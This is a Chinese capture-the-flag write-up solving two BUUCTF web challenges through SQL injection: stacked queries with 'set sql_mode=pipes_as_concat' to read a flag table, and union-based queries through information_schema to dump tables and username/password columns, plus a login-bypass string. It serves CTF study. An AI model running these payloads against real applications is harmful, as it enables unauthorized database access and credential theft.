BUUCTF——WEB(2)

目录

[SUCTF 2019EasySQL 1](#[SUCTF 2019]EasySQL 1)

堆叠注入

方法一:

方法二:

[极客大挑战 2019LoveSQL 1](#[极客大挑战 2019]LoveSQL 1)

sql注入

SUCTF 2019EasySQL 1

堆叠注入

输入字母,0无回显,输入数字有回显

输入1'无显示,输入1#有显示,输入1'#无显示

输入特殊字符,没有报错回显,可能被过滤,报错注入不行

引号可能被过滤,数字型注入尝试

输入关于sql的语句,or,union,sleep,回显Nonono,联合查询,时间盲注也不行

尝试if,and回显Nonono,布尔盲注也不行

复制代码
1 and length(database())>=1#

堆叠注入

堆叠注入就是同时注入多条指令

展示数据库

展示表

查询Flag表的列

出错,from被过滤

查询有限

知识点:

来源文章:https://blog.csdn.net/qq_46918279/article/details/120188186

concat可以连接多个字符串如concat('id','name',','user')

用符号||代替or

concat();未被过滤

猜测内置语句

复制代码
sql="select post['query'] || flag from Flag";
方法一:

设置Payload:

复制代码
select *,1||flag from Flag
输入	*,1

支持||作为字符串连接的数据库(PostgreSQL/Oracle/SQLite)

这是语句的 "设计意图场景",比如:

  • Flag表有如下数据:
id flag
1 flag{test}
2 flag{123456}

执行 select *,1||flag from Flag 后,结果会新增一列(默认别名如?column?),内容是1拼接flag值:

id flag ?column?
1 flag{test} 1flag{test}
2 flag{123456} 1flag{123456}

不支持||作为连接符的数据库(MySQL/SQL Server)

  • MySQL

    :默认下||是 "逻辑或"(不是连接符),直接执行该语句会报错 / 结果异常;

    等价的正确写法(用CONCAT函数):select *,concat(1,flag) from Flag

    (若要让 MySQL 支持||,需开启PIPES_AS_CONCAT模式,不推荐)

  • SQL Server :用+做字符串连接符,等价写法:select *,1+flag from Flag

语句作用

验证flag列是否存在

  • 若返回结果包含拼接后的列 → 证明Flag表存在flag列;

  • 若报错 → 证明列 / 表不存在

提取flag值(绕过过滤)

  • 若直接查询flag列被拦截(如 WAF 过滤select flag),拼接常量1后,语句变成select *,1||flag,可绕过简单的关键词过滤;

  • 即使无法直接看到flag列,新增的计算列会暴露flag值(比如拼接后的1flag{xxx},去掉前缀1就是真实 flag)。

方法二:
复制代码
payload:1;set sql_mode=pipes_as_concat;select 1
 
#使用set sql_mode = pipes_as_concat将||作为字符串连接函数
那么sql语句就会为:
select 1;set sql_mode=pipes_as_concat;select 1||flag from Flag;
即:
select 1;set sql_mode=pipes_as_concat;select concat(1,flag) from Flag;
 
意思为:
输出1;将||作为concat使用;将输出结果中的1和flag字段连接起来;

详情见:https://blog.csdn.net/qq_46918279/article/details/120188186

极客大挑战 2019LoveSQL 1

sql注入

先测试

复制代码
1
1'
1' or '1' = '1#
1' or 1=1#

得到万能密码成功

复制代码
1' or 1=1#

试一下md5解密,失败

联合查询测试列

1' order by 3#不报错

1' order by 4#报错

则表有三列

尝试注入,查看回显

复制代码
1' union select 1,2,3#

查看库名1' union select 1,database(),3#

查看表,两张表

MySQL 中「字符串常量必须加引号」,不加引号会被识别为「列名」

table_schemainformation_schema.tables 中的列,存储的是数据库名(字符串类型)

无引号的标识符会被优先解析为列名 / 表名等数据库对象,而非字符串

group_concat() 是 MySQL聚合函数,作用是「多行转单行拼接」

复制代码
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="geek"#

查列

复制代码
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="geekuser"#
复制代码
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="l0ve1ysq1"#

查看内容

复制代码
1' union select 1,2,group_concat(id,username,password) from geekuser#
复制代码
1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#

f12找到flag

相关推荐
不像程序员的程序媛4 小时前
系统cpu内存负载资源分析
运维·服务器·数据库
Jane Chiu5 小时前
Oracle DBMS_REDEFINITION(在线重定义)
数据库·oracle·分区表
全栈前端老曹5 小时前
【MongoDB】安全与权限管理 —— 用户认证、角色权限、SSL 加密
前端·javascript·数据库·安全·mongodb·nosql·ssl
怕孤单的草丛6 小时前
缓存管理面临的主要问题
java·数据库·缓存
我会尽全力 乐观而坚强6 小时前
MySQL零基础入门(二)
数据库·mysql·adb
kali-Myon7 小时前
某校园门禁系统高危 SQL 注入漏洞挖掘复盘
数据库·sql·安全·web安全
LYFlied8 小时前
EVMbench解读:AI Agent如何检测、修复并利用智能合约漏洞
人工智能·网络安全·openai·智能合约·ai agent·evm·智能合约区块链
程序员在囧途9 小时前
likeadmin-api API 中转站怎么做统一报价?从 /pricing、/user/balance 到 task_id 回执的落地方法
运维·服务器·数据库·likeadmin-api·api中转站·token计费
龙石数据9 小时前
MySQL 全量同步到 Hive 怎么做?三步配置教程
数据库·hive·mysql·数据治理·数据中台